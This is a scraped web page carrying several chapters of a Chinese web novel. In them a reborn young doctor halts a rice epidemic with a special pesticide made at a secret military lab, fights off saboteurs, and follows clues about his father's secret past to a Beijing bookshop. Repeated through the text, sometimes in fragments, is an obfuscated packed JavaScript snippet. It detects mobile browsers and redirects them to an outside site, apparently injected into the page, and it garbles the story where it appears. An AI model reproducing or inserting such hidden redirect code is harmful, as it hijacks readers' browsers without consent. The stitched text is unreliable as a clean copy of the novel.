那些从四面八方来“取经”的农民，早已将致命的孢子踩在鞋底，带回了自己的土地。一场席卷全县、甚至可能蔓延整个地区的灭顶之灾，已然爆发。疫病的幽灵，已挣脱所有束缚。 …… 县里紧急派来了所有农业技术员，包括那个曾幸灾乐祸的张科长。 当他亲眼看到“神仙地”地狱般的惨状时，两腿一软，喉间发干，冷汗瞬间浸透后背，差点当场尿了裤子——他知道，自己闯下了弥天大祸！ 敌敌畏、乐果、多菌灵……所有能找到的农药像不要钱似的泼向病苗。 然而，毫无用处。 疫情如燎原野火，疯狂吞噬着全县的水稻。数十万百姓的粮食安全，危在旦夕！ 县长钱国栋连夜召开**会。 第二天，他带着县领导班子，直奔红星公社，走进了被绝望笼罩的村落。他没去公社大院，而是直接找到了林卫国。 钱国栋将林卫国拉到一边，一向威严的脸上凝着前所未有的沉重，声音嘶哑：“卫国，现在，只有你能救全县百姓了。”他眼中带着一丝不易察觉的恳求，“你……到底有没有办法？” 林卫国看着这场由他间接引发、却远超预期的灾难海啸，心头压力如山崩。他确实知道一个能根治此病的特效药配方，一个足以改变华国农业史的配方。但是…… 他缓缓抬头，迎上钱国栋那双充满希冀的眼睛，艰难开口： “办法，有。” “但是……”他顿了顿，每一个字都像有千斤重，“能根治这场瘟疫的‘药引子’，在华国只存在于一个地方。” “军工研究所。” 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第71章 监督与评估 红星公社的田埂上，空气沉重得仿佛凝固了，只有稻禾在瘟病侵蚀下发出的、细碎不绝的“沙沙”声。 每一声，都像钝刀子，割在所有农民的心上。 钱国栋县长那句沉甸甸的“到底有没有办法”，连同他身后上百户农民眼中混杂的绝望、期盼与一丝乞求，化作无形的千钧重担，狠狠压在了林卫国肩头。 他知道，这早已不是拖拉机归属的生产竞赛。 这是一场关乎安平县数十万百姓明年口粮的生死之战！ 林卫国深吸一口气，迎着钱县长布满血丝的眼睛，坦诚道： “钱县长，办法确实有。” “我恰好知道一种特效农药的配方，能从根源上彻底清除这种恶性锈病的真菌孢子。” 刹那间，所有人眼中猛地燃起了希望的火焰！ 然而，林卫国接下来的话，如同一盆冰水当头浇下。 他的语气异常凝重： “但是，这特效药的核心催化剂，代号‘KJ—7’，是一种特殊化工原料。据我所知，整个华国，只有一个地方能生产这东西。” “大西北，戈壁深处的709军工研究所！” “709！” 钱国栋猛地一震，倒吸一口凉气！他比谁都清楚这代号的分量！ 那是国家顶级绝密、铸造和平之盾的核心心脏！ 莫说他一个小小的县长，就算省里大员，没有最高命令，也休想从那地方要出一颗螺丝钉！ 钱国栋脸上浮起深深的苦涩和绝望，缓缓摇头： “卫国，这……比登天还难。” “那地方，我们连靠近的资格都没有……” 就在绝望再次吞噬众人时，林卫国做出了决定。 他脑海中闪过陈岩老元勋睿智的眼、秦振邦老将军不怒自威的脸，还有那个……能直通权力之巅的红色专线号码。 这是他最不愿动用的底牌，此刻却别无选择！ …… 半小时后，安平县武装部保密电话室。 林卫国摇动着那台连接最高军事网络的手摇电话机。 嘈杂电流声和层层转接后，话筒里终于传来秦老将军警卫员王刚熟悉的声音： “哪位？这里是西山。” “王大哥，我是林卫国。” 林卫国没有丝毫寒暄，言简意赅汇报了安平史无前例的农业瘟疫，以及对“KJ—7”原料的紧急需求。 电话那头陷入长久的沉默。王刚深知709研究所的特殊性，任何物资调动都需军委最高层审批。他正要解释其中艰难…… 电话那头却猛地响起一个苍老而威严的声音——是秦老将军！ 他只问了一句： “卫国，跟老头子说句实话，这事，你有几成把握？” 林卫国握紧滚烫的话筒，斩钉截铁： “秦老！只要原料到位，十成把握！” “不仅能救这几十万百姓，我还能为国家完整保留这套足以改变农业现状的抗病害特效农药技术！” 电话里死寂了三秒。 对林卫国和门外焦急等待的钱国栋而言，漫长得像一世纪。 随即，秦老不容置疑的命令如惊雷炸响： “好！我信你！” “立刻去你们县最近的军用机场！两小时后有专机送你去709！” “我亲自给军委打报告！倒要看看，是保卫国家的军功章硬，还是那些官僚规矩硬！” “咔哒！” 电话被重重挂断。死寂弥漫。钱国栋和李大田等人已被林卫国通天的手腕与秦老雷霆般的气魄彻底震住！看着这个面色平静的年轻人，他们心中只剩下一个念头：这个国家，怕是没他办不成的事了。 …… 林卫国带着苏晚夏，由钱国栋亲自开车，抵达邻市秘密军用机场。 一架银白色、喷着巨大红星标识的军用运输机，早已在停机坪等候。 然而，飞机旁还站着一位不速之客——一个五十多岁、戴眼镜、神情倨傲的中年干部。他身边跟着几个省农业厅的技术员。 林卫国一眼认出，这正是省城会议上极力反对他、为农业局张科长撑腰的幕后主使——省农业厅副厅长，周光明！ 见林卫国下车，周光明扯出一丝笑容迎上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“一个小地方的大夫，拿着军委特批令，跑到我的实验室里来，说要用给火箭发动机做燃料的稳定剂，去治你们地里的锈病？”他摇着头，语气充满浓重的讥讽，“年轻人，无知不是错。但拿着无知，跑到国家顶尖科研单位来开玩笑，就是你的不对了。” 周光明在一旁煽风点火：“承光别小看他！这位林大夫专搞些闻所未闻的‘土方子’，没准真能把火箭燃料变成农药呢？”这话引得杨承光身后的年轻研究员们发出低低的嗤笑。在他们眼中，这要求荒诞得近乎侮辱了神圣的国防科研！ 第72章 釜底抽薪，治本之策 盖着军委大印的特批令压在杨承光手上，他不得不交出KJ—7。可心头那团火却烧得更旺——今天非得当着众人面，亲手扒下这个“骗子”的伪装，给真正的科学讨个公道。 “跟上。”杨承光语气淬了冰，领着众人穿过层层守卫，来到密闭的化学合成实验室。巨大的设备盘踞中央，玻璃管道蜿蜒，金属反应釜嗡鸣，像一头沉睡的钢铁怪兽。他下巴朝那儿一点，目光钉在林卫国脸上： “小林同志，运气不错。正好在赶一种新除草剂的最后合成。”啪的一声，他将一沓写满密集化学方程式的流程书摔在实验台面，“按标准流程，得熬整整十二个小时。” 镜片后的眼睛掠过一丝猫耍耗子般的嘲弄：“既然是‘高人’，我也不刻意为难。就用这套设备，给你八小时。”他竖起一根手指，声音陡然锋利如刀，“合成出纯度达标的样品，KJ—7要多少随你搬！要是搞砸了……” 他刻意顿住，一字字挤出牙缝：“滚！别脏了709的空气！” 死寂！ 整个实验室的空气瞬间被抽干，所有人屏住了呼吸。 这哪是“不为难”？分明是条死路！逼一个中医去摆弄最尖端的化工设备，时间还硬砍掉三分之一！那新除草剂的合成，连他们这些专业研究员都头疼。杨主任，这是要把人往绝路上逼，等着看笑话啊！ 周光明嘴角压不住地上翘。林卫国脸上却没什么波澜，接过那厚厚的流程图，眼神快速滑过几行关键处，再抬眼看看设备——在他“前世”阅尽辉煌的记忆里，这套东西简直简陋得如同孩童玩具，漏洞多得扎眼。他点了点头。 就一个字。 干净利落。 在杨承光和一众研究员混杂着审视、不屑、等着看戏的目光织成的网里，林卫国脱下外套，换上洁净的白大褂，步履沉稳，径直走向核心实验台，没有半点踟蹰。 然而！ 他的第一个动作，就宛如投入平静湖面的巨石—— 所有人都呆住了！ 他竟然！彻底推翻了流程图里白纸黑字写明的第一步！ 流程图要求缓慢升温至85摄氏度恒温，林卫国却直接将温度控制器粗暴地拧到120摄氏度的极限！ “疯了！他疯了！”一个年轻研究员失声惊呼，“高温会让原料提前分解！后续反应根本无法进行！” 杨承光皱眉冷笑，果然是个门外汉。 这仅仅是开始。 在后续操作中，林卫国在温度控制、催化剂加入时机、物料配比上，做出了多达十几处专业人士看来“匪夷所思”的改动！每一步都精准踩在杨承光认知的“雷区”上！在权威眼里，这简直是胡闹，是**！ “快！准备灭火器！”杨承光紧张地对助手吼道，“所有人退后！反应釜随时可能**！”实验室气氛绷紧到了极限。所有人都以为惨烈的**即将发生…… 时间一分一秒流逝。 一小时…… 两小时…… 三小时…… 预想中的**没有发生。反应釜的数据在林卫国神乎其技的操作下，如走钢丝般在危险边缘疯狂跳动，却始终维持着一种奇妙的动态平衡。就在大家以为这场注定失败的实验会耗到第八小时…… “嘀——！” 一声清脆的合成完毕提示音，骤然刺破实验室的寂静！反应釜指示灯——亮了！是代表成功的绿色！ 墙上的挂钟时针，稳稳指向三小时三十分！ 怎么可能？！ 所有人如同见了鬼，死死盯着那盏绿灯！杨承光脸上写满了难以置信！ “不可能……这绝不可能……一定是哪里错了……”他喃喃自语，冲到检测台前，对着吓傻的年轻研究员吼道，“愣着干什么！取样！检测纯度！” 年轻研究员颤抖着手，取出一份淡黄色、晶莹剔透的样品，小心注入气相色谱仪。 所有目光死死锁住屏幕上攀升的曲线。 当检测报告缓缓吐出，研究员只看了一眼…… “啪嗒”一声，报告单掉落在地。他缓缓抬头，看向那个依旧平静的年轻人，如同看见了来自异世界的魔鬼。声音因极致的震惊而剧烈颤抖，一个字一个字从牙缝中挤出： “纯……纯度……” “比……比流程书理论峰值……” “还高……百分之二十！” 纯度，比理论峰值还高了百分之二十！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“再说这里。你们习惯一次性注入第二种催化剂，没考虑到它在接触高温反应物瞬间，表面分子活性在0。1秒内达到峰值后，会迅速衰减。” “我将同等剂量分十二次，以特殊的不规则间隔注入。目的，就是让催化剂的表面活性始终维持在最高峰值状态。物尽其用。” 语言平实，原理基础。但这些理论在林卫国手中组合运用，竟展现出超越时代的、近乎于“道”的化工思想！字字珠玑，直指核心！ 第73章 恰到好处的死亡 杨承光听完，彻底呆立当场，脑中如惊雷炸开！那扇困扰他十几年的技术瓶颈之门，竟被这几句轻描淡写点破了！ 下一秒，他做出了令所有709所研究员惊爆眼球的事。 这位国家级化工泰斗，这位以傲慢严苛著称的顶尖专家，竟然对着比他儿子还年轻的林卫国—— 郑重其事地，深深一躬！ 九十度！ “林……林老师！”杨承光声音嘶哑，却饱含从未有过的、发自肺腑的诚恳与敬佩，“是我有眼无珠！是我坐井观天了！您这番话，为我们整个709化工部打开了新世界的大门！请您……务必收下我这个愚钝的学生！” 他竟然当众拜师！ 这一幕，让站在他身后的堂弟、省农业厅副厅长周光明脸色煞白，双腿发软，恨不得当场钻入地缝！他知道，自己这次不是踢到了铁板。 是撞上了一座足以将他碾得粉碎的巍峨钢山！ 从这一刻起，林卫国在709研究所的地位翻天覆地。 杨承光奉他为上宾，言必称“老师”。他不仅爽快拿出了库存中纯度最高的KJ—7原料，更主动动用整个化工部的人力和设备，不惜一切代价，全力协助林卫国完成“特效农药”的最终合成！ 接下来的两天，709顶级化学实验室灯火长明。 林卫国提供核心配方与超越时代的反应步骤。杨承光则亲自带领最得意的学生团队，如同最虔诚的学徒，负责精确的操作与记录。 双方合作，爆发出一加一远大于十的惊人效率！ 一种足以改写华国农业历史的全新特效农药，正以不可思议的速度，在戈壁深处的这座秘密基地内诞生！ …… 深夜，最后一批浓缩药剂即将合成完毕。 整个基地沉浸在科研的喜悦之中。 毫无征兆！ 凄厉刺耳的警报声猛然撕裂戈壁滩的宁静夜空！ “呜——呜——呜——！” 实验室厚重的防爆大门被狠狠撞开！ 一名端着**、全副武装的士兵神情紧张地冲进来，对着杨承光和林卫国急报： “警报！不明武装小队已切断外围电网，成功潜入基地！” “目标很可能就是我们这里！” “全体进入最高战备状态！” 凄厉的红色警报撕裂了709研究所的宁静，如同死神的低吼。 这座与世隔绝的科研基地，顷刻间从学术圣殿化为肃杀的堡垒。 实验室内，刚沉浸在成功喜悦中的杨承光和一众研究员，脸色瞬间煞白。 “敌袭！是敌袭！”一个年轻研究员声音发颤。 林卫国的反应却是彻骨冰寒。 不是巧合！ 入侵不早不晚，偏偏卡在他们即将合成最后一批浓缩药剂的关键节点！ 目标精准，正是这间不起眼的化工大楼！ 这说明敌人对他的动向、对KJ—7了如指掌。709内部，或所有知情者中……有内鬼！ “快！去资料室！”作为化工部负责人，杨承光猛地回神，想到室内那些涉及顶级国防机密的资料和图纸。他急得额角渗汗，对助手吼道：“启动最高物理隔绝！就算炸楼，也不能让一张纸流出去！” 实验室内一片混乱。 窗外，几个身着基地维修工装束的身影正以专业的战术动作穿梭，避开巡逻，如暗夜猎豹般扑向化工实验楼的侧门！目标极其明确——刚合成的“特效农药”及核心技术资料！ “他们来了！”窗边的苏晚夏盯着逼近的黑影，声音紧绷。 “所有人，躲进里间材料库！反锁！”生死关头，林卫国做出了一个出人意料的决定。 他没有藏匿，更没有撤退。他催促苏晚夏和杨承光等人立刻钻进那间足以抵御**的特种合金材料库。 自己却缓缓脱下白大褂，从实验台上抄起一根长约一米、搅动溶液的实心合金棍。 他如沉默的战神，独自守在实验室那扇薄薄的木门前。 “卫国！你干什么！快进来！”苏晚夏在材料库门后拍着门喊，急得快哭出来。 砰！ 巨响中，实验室的门被暴力撞开！ 三名身着维修服、眼神却如恶狼般凶悍的入侵者，手持雪亮军用**，呈品字形闪电般冲入！ 但迎接他们的，并非手无缚鸡之力的科研人员。 而是裹挟着**之势的黑色棍影！ 林卫国动了！没有花招，全是前世战火中千锤百炼的、最直接高效的军用格斗术！ 首当其冲的入侵者，尚未看清状况，合金棍已撕裂空气，后发先至！ 咔嚓！ 骨裂声清脆刺耳。 那训练有素的特工**落地，抱着诡异扭曲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200694|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕瘫倒，瞬间失去战斗力。 另两**惊，左右散开，**同时刺向林卫国！ 他不退反进！一步踏出，身体诡异地从刀锋缝隙间穿过！合金棍呼啸横扫，精准狠砸在左面入侵者的小腿骨上！ 咔嚓！ 凄厉惨嚎响起，那人如同滚地葫芦摔飞出去。 电光火石间，林卫国手腕一翻，合金棍末端如毒蛇吐信，向上疾刺，狠狠捅进最后一名入侵者的小腹！ “呕！” 那人如煮熟的大虾般弓身跪倒，五脏翻腾，胃液狂涌，呼吸困难至极。 破门到战斗结束，行云流水，干净利落。 甚至……不到三十秒！ 三名足以轻松干掉一个班的顶级特工，在林卫国和一根合金棍面前，摧枯拉朽般彻底瓦解。 材料库内，透过观察窗目睹全程的杨承光等人，已然失语，大脑空白。 这颠覆了化学认知的年轻人…… 在战斗上……竟如战神！ 他们终于明白，军方，京城的大人物，为何如此看重他。 …… 直到此时，基地警卫才匆匆赶到。 全副武装的士兵冲进实验室，看着狼藉景象和站在“尸体”中间、一脸平静的年轻人，全都愣住。 “都……都解决了？”带队军官结巴地问。 林卫国点头，随手扔掉合金棍。“人没死，只是废了。带回去审审。” 一名士兵上前扯掉最先倒下入侵者的头套。 看清那张因剧痛扭曲的脸时，站在杨承光身后的周光明，猛地倒吸一口凉气！ “是你？！” 杨承光凑近一看，也愣住了。 他认得！这人，正是前几天跟着省农业厅的周光明副厅长来709所的所谓“随行技术员”！ 就在这时，一名通讯兵疾步跑入，对着军官敬礼，脸色古怪。 “报告队长！接到招待所紧急通报！” “住在三号招待所的省农业厅周光明副厅长，警报拉响的第一时间，突发急性心肌梗塞，‘**’在房间里。” “我们的人赶到时……他人都凉透了。” 消息传来，一股寒意瞬间爬上在场所有人的脊背！ 所有线索分明指向了省农业厅，指向了周光明！ 却又随着他“恰到好处”的死亡……彻底中断！ 第74章 无名书斋 709研究所的入侵事件虽被迅速平息，却留下一片浓重的疑云，压在所有知情者心头。 军方最高保卫部门迅速介入。那几个活捉的、已经伤残的入侵者，被押送到了一个外界无从知晓的秘密地点。 面对国家机器派出的审讯专家，他们那点可怜的意志力如同薄纸，瞬间土崩瓦解。一份详尽的口供很快呈送到秦振邦老将军、钱国栋等人面前。 即便是这些见过惊涛骇浪的人物，看完报告也齐刷刷惊出一身冷汗！ 砰！秦振邦老将军狠狠一掌拍在厚重的红木办公桌上，震得桌面嗡嗡作响。 “好一个‘农业战争’！好一个‘一石二鸟’！”老将军眼中杀机毕露，“亡我之心不死的豺狼！” 钱国栋县长更是后怕不已。他万万想不到，一场看似平常的农业危机背后，竟藏着如此庞大恶毒的国际阴谋！ 而林卫国，这个安平县的年轻人，在所有人被蒙蔽、一步步滑向深渊时，竟凭借他超前的认知和非凡手腕，以一人之力挽救国家与人民，避免了足以载入史册的惊天浩劫！ 此功之大，无以言表！ …… “经所里研究决定，即日起正式聘请安平县卫国制药厂林卫国同志，为我所化工部终身名誉顾问！” 这个头衔，赋予了林卫国自由出入这个国家顶级秘密科研机构的特权。 而那个曾勾结周光明、多次打压林卫国的安平县农业局张科长，在这次由京城派下的联合审查中被揪出。最终被开除公职，发配偏远农场劳动改造。 …… 当林卫国乘坐军用运输机，带着由709研究所连夜赶制出的足量特效农药，犹如救星般重返安平县城时，整个县城沸腾了！ 巨大的运输机在县城上空史无前例地低空飞过。白色的药液如神赐甘霖，均匀洒向那一片片枯黄绝望的稻田。 奇迹发生了。 仅仅三天！那些被判了“**”的稻田，竟由枯黄转为翠绿！萎靡的禾苗重新焕发生机！ 当熟悉的绿色再次铺满安平大地，无数农民抛下农具，从田埂、从村庄狂奔而出！ 他们笑着，哭着，呼喊着！自发地成群结队，涌向红星公社那片曾经被嘲笑的“神仙地”。 人们围聚在田埂上，向着中央那个身姿挺拔的年轻人，深深拜了下去！用最质朴、最虔诚的方式，表达着无声的感激。 …… 秋收时节。 全县其他公社因瘟病略有减产，而红星公社那片曾经的贫瘠“神仙地”，水稻亩产竟达到史无前例的两千斤！ 这恐怖的数字不仅为林卫国赢下了赌约，更让“科学种田”的理念，如钢印般深深刻进安平县所有农民的心中！ 危机似乎都已解除。工厂扩建有条不紊地进行。林卫国终于能喘口气，享受暴风雨后的宁静。 然而这天，一个来自京城的、寄件人信息空白的包裹送到了他手上。 林卫国疑惑地拆开包裹。里面没有信，也没有贵重物品。只有一张泛黄、甚至有些模糊的黑白旧照。 照片上是两个意气风发的年轻人，勾肩搭背，亲如兄弟。 其中一个，林卫国认得出，那是青年时代的陈岩老元勋！ 而另一个…… 看清那人的脸时，林卫国脑中轰然一声，瞬间空白！ 那人，赫然是他年轻时的父亲—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200695|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林长山！ 他那个普普通通、老实巴交的农民父亲，怎么会和年轻的开国元勋如此亲密合影？！ 他颤抖着手将照片翻过，背面一行苍劲有力的字迹映入眼帘： “想知道你父亲的过去吗？” “来京城琉璃厂，寻一间‘无名书斋’。” 安平县，卫国制药厂扩建工地。 机器轰鸣，人声鼎沸。林卫国刚刚解决了全县的农业危机，声望如日中天，制药厂的发展也势不可挡。 然而，当他回到家中，看到那个来自京城的包裹时，所有的意气风发瞬间冻结。包裹里的东西，颠覆了他两世的认知。 …… 晚饭后，难得的闲暇时光。 母亲孙秀娥和妹妹林招娣围着崭新的收音机，听着评书，不时发出笑声。父亲林长山像往常一样，坐在堂屋门槛上，借着灯光编织竹筐。他那双布满老茧的手灵巧而稳定，仿佛将岁月也一丝丝编了进去。 林卫国拿着那张泛黄的黑白照片，走到父亲面前。他蹲下身，将照片轻轻放在父亲面前的石阶上，正面朝上。 专注编筐的林长山瞥见照片，全身猛地一僵！如同晴天被一道无形霹雳击中天灵盖！ 那双握枪多年、面对黑熊也未曾颤抖的手，此刻竟剧烈地颤抖起来！他一把抓过照片，整个人像被抽空力气，又像注入了最痛苦的灵魂。浑浊的眼中，瞬间涌出林卫国两世都未曾见过的情绪——极致的痛苦、蚀骨的怀念，以及灵魂深处的恐惧！ 那是一种想要靠近，却又不敢触碰的绝望。 林卫国的心沉了下去。他试探着，小心翼翼地问：“爹，照片上这个人……” 第75章 槐影胡同 话未说完。 林长山如同被踩了尾巴的野兽，暴怒而起！他将照片死死攥在手心，坚硬的边角刺入掌心也浑然不觉。双目赤红，对着林卫国，用压抑了数十年的、近乎嘶吼的声音低吼： “你从哪里弄来的这东西？！” “扔了！立刻给我扔了！忘了它！” “我们家跟这些事，没有任何关系！我警告你，林卫国，从今往后，不准再问！一个字都不准再问！” 这是林长山第一次对儿子发这么大的火。那不是普通的愤怒，而是受到极致刺激后的应激反应，仿佛那张薄薄的照片，是能将他拖入地狱的魔鬼！ 父亲这剧烈到失常的反应，让林卫国的心彻底沉入谷底。他意识到，这背后隐藏的，绝非值得夸耀的荣耀，而是一段沉重到足以压垮父亲坚韧脊梁的血色过去。 他追查真相的决心，在这一刻，从好奇瞬间升华为一种沉甸甸的责任——他要为父亲揭开那无形的枷锁，寻求一个公道！ …… 深夜，林卫国辗转难眠。 房门被轻轻推开。母亲孙秀娥端着一碗热牛奶，悄无声息地走进来。她的眼圈泛红。 “卫国，你爹……睡下了。”孙秀娥把牛奶放在桌上，坐在床边，声音充满担忧，“别怪你爹，他不是冲你发火。” 她叹了口气：“自从上次在山上被黑瞎子伤过，身体好了以后，你爹就常半夜被噩梦惊醒。嘴里喊着些听不懂的名字，像是在跟人拼命，一身冷汗……” “我不知道他到底经历过什么。他不说，我也不敢问。我知道，那是一道不能碰的、血淋淋的伤疤。” 她拉住林卫国的手，那双粗糙的手冰凉。 “卫国，算娘求你了，”她看着儿子，近乎哀求，“别再逼你爹了，好吗？” “娘怕他……会撑不住。” 母亲的话像座山压在林卫国心上。他陷入两难：一边是颠覆一切的秘密和父亲的枷锁；另一边是家人可能因此受到的伤害。 就在他准备将此事暂时压下时，一个瘦小的身影像小猫一样溜了进来。 是妹妹林招娣。看到母亲也在，她有些害怕，但还是鼓起勇气，将一个红布包严实的小东西飞快塞进林卫国手里。 “哥，”她压低声音，“这是我小时候，在你从部队寄回来的旧衣服夹层里偷偷翻到的。爹和娘都不知道。” 说完，她像受惊的小兔子，飞快跑了出去。 林卫国疑惑地打开红布。 里面没有惊天秘密，只有一枚静静躺在他掌心的银质奖章。样式奇特，非方非圆，边缘已被摩挲得无比光滑，显然曾被主人无数次在深夜里反复抚摸。 奖章正面空白。 林卫国将它翻过来。 背面，用一种古朴、铁画银钩的工艺，刻着一个他两世都未曾见过的神秘徽章。 图案很简单： 一个篆体书写的、充满锋锐之气的数字——“九”。 以及一把，贯穿了整个数字的、染血的利剑！ 这是来自父亲那段血色过去的，唯一的，也是可以追查的…… 线索。 父母的激烈反应和恳求让林卫国明白，从他们口中探听那段血色往事已无可能。答案，只能去京城找。 好在安平县已步入正轨，有赵胜利、王建民这批骨干坐镇，暂时离开不成问题。他以“赴京落实国家特批的最后一批指标”和“向中央保健局专家组汇报‘通脉丹’研发进展”为由，向单位和家里告了假。贴身收好那张神秘照片和奇特银质奖章，他再次登上了北上的火车。 …… 1979年的安平火车站，一如既往的人潮汹涌，嘈杂混乱。 售票窗前，队伍排成长龙，望不到头。一张张面孔写满焦灼、期盼和迷茫。林卫国看着，心中涌起感慨。这年头，想买张出远门的车票，尤其是去首都的卧铺票，难如登天。多数人只能站上几十小时，在拥挤污浊、气味混杂的绿皮车厢里咬牙苦熬。 林卫国没去人堆里挤。他径直走向一个挂着“军干专窗”牌子的窗口。 里头的售票员平日对普通旅客爱搭不理，此刻看到林卫国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200696|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递进来的、盖着安平县政府鲜红公章的“公务出差介绍信”，倨傲的脸瞬间堆满春阳般和煦的笑容。 “同志稍等。” 话音未落，一张多少人托关系也求不到的京城软卧车票，已恭恭敬敬递到他手中。 …… 绿皮火车轰鸣着，在“况且况且”的节奏里，承载着天南地北的乘客，缓缓驶向共和国的心脏。 林卫国的软卧包厢里还有三人。 靠窗是个戴厚厚眼镜的年轻人，刚考上京城大学，怀里紧抱着卷了边的《高能物理》，眼神满是未来的光亮。他是追梦的学子。 对面是位东北钢铁厂的劳动模范，黝黑脸庞，布满老茧的大手，嗓门洪亮，三句不离厂里又超额完成多少吨指标。他是建设的脊梁。 还有位南方大嫂，去京城探亲，拎着个巨大网兜，塞满自家做的腊肉笋干，热情地给每个人分发分享。她是人间烟火的暖意。 林卫国用印着“为人民服务”的搪瓷缸泡了碗安平带来的稀罕货——方便面。四人天南地北地聊着，带着乡音的普通话交织成那个时代独特的背景音。谈新政策，谈好日子，也谈物质的紧巴和生活的艰难。 每个人都像一本活着的、浸满时代印痕的书。思想如此淳朴，目光如此真诚。 这，就是他两世为人都深爱的那片土地，和土地上那些最可爱的人。 …… 两天后，京城。 按照照片背面信件所写的地址，林卫国独自寻到京城最著名的古文化街——琉璃厂。 这里与他想象的大相径庭。没有宽阔大道与宏伟建筑，只有青石板铺就的老街，两旁古旧店铺挨挨挤挤，沧桑扑面。 他穿过熙攘主街，在七拐八绕的胡同深处，找到了一条不起眼的小巷，名叫“槐影胡同”。此行最终的目的地就在巷内： “无名书斋”。 门面极其狭小，甚至有些破败。一块黑木匾饱经风雨，字迹早已模糊不清。 推开吱呀作响、虚掩着的木门，一股浓烈的霉味混着尘埃气息扑面而来。 第76章 代号山猫，战死的烈士 店内光线昏暗，逼仄的空间被成堆散发陈腐气味的旧书塞满，几乎难以下脚。 柜台后，一张躺椅上，一个戴着瓶底厚老花镜的干瘦老者正在打盹，似乎被开门声惊扰，不满地咂了咂嘴。 这应该就是信中提到的“秦伯”。 林卫国走上前，放轻声音，客气道：“老先生，跟您打听个人。” 秦伯眼皮都没抬，不耐烦地从喉咙里挤出几个字，挥挥手：“买书自己看，不买赶紧走，别耽误我睡觉。” 林卫国没放弃，从怀里取出那张已被父亲攥得发皱的黑白照片，小心放在柜台上。 “老先生，您认不认识照片上这人？” 这次，秦伯有了点反应。他极其不耐地坐起身，捏起照片瞥了一眼，如同丢弃垃圾般扔回柜台，语气冰冷： “没见过，不知道，出去！” 无论林卫国如何追问，秦伯都油盐不进。最终被问得烦了，他抄起墙角一把扫帚，直接赶人。 “听不懂人话？滚！再不滚我报警了！” 眼看要被扫帚推搡出门，林卫国脑中电光一闪！他想起了妹妹给的那枚银质奖章！立刻从贴身衣袋掏出，啪地按在积满灰尘的柜台上。 “老先生！那这东西，您总该认识吧？！” 正欲挥动扫帚的秦伯，眼角余光扫到昏暗光线里那抹淡淡银光，整个人如遭雷击，瞬间僵住！ 那双总是睡眼惺忪、漠视一切的老眼，此刻骤然爆射出骇人精芒！他猛地扔下扫帚，枯瘦如鹰爪的手死死抓住林卫国手腕，蛮横地将他拽回屋内！ “砰！” 破旧店门被狠狠反锁！ 秦伯死死盯住林卫国，瓶底厚的镜片后，锐利目光如同出鞘利剑！嘶哑急促的声音如同锈铁摩擦： “‘利剑所指，九死无悔’！” “说！这枚‘九分队’的最高银星章，你从哪里弄来的？！” “九分队”！ 一个从未在任何公开历史中出现过的神秘番号，就这样从这诡异老人口中炸响！ 林卫国心知，地方找对了！但同时，一股锋芒毕露、毫不掩饰的警惕与审视，如同实质般压来！ 他清楚，接下来的每一个字，都将决定—— 是被引为故人之后？ 还是……被当场格杀！ 无名书斋 书斋里灯光昏暗，空气里飘散着旧书的霉味儿，更有一股无形的压力紧紧绷着。 秦伯藏在厚厚镜片后的眼睛，如同钩子般钉在林卫国脸上，一丝表情都不肯放过。无声的对峙，已然开始。 “你父亲，老家哪里？”秦伯嗓音沙哑干涩，像生锈的门轴。 “安平县，红星公社，林家村。”林卫国答得平静。 “参军前做什么？” “祖上三代猎户，靠山吃山。” 秦伯微微颔首，问题却越发刁钻隐蔽。 “你父亲惯用右手，但他左手虎口也有一层枪茧，为什么？” 这足以问倒任何不真正熟悉林长山的人！ 林卫国心头一紧，但前世今生的记忆飞速交织掠过。他想起父亲酒后的细微习惯。 他沉声道：“极度紧张或身处险境时，他会用左手辅助射击，应对最复杂的情况。” 秦伯目光一闪。 “他身上大小伤疤十几处。”秦伯声音更冷，“后腰左侧，距脊椎三指，那道疤，什么形状？” 问题歹毒至极！那是男人身上最私密的印记！ 然而，林卫国脑中清晰地浮现出为父亲疗治熊伤、擦拭身体时的画面。 他迎上秦伯逼视的目光，字字清晰：“是德制**弹片划的，长两寸，当时感染，愈合后留下一道月牙形的狰狞疤痕。每逢阴雨天就会发痛发胀，颜色也变成暗紫。” 当林卫国准确无误地说出一切。 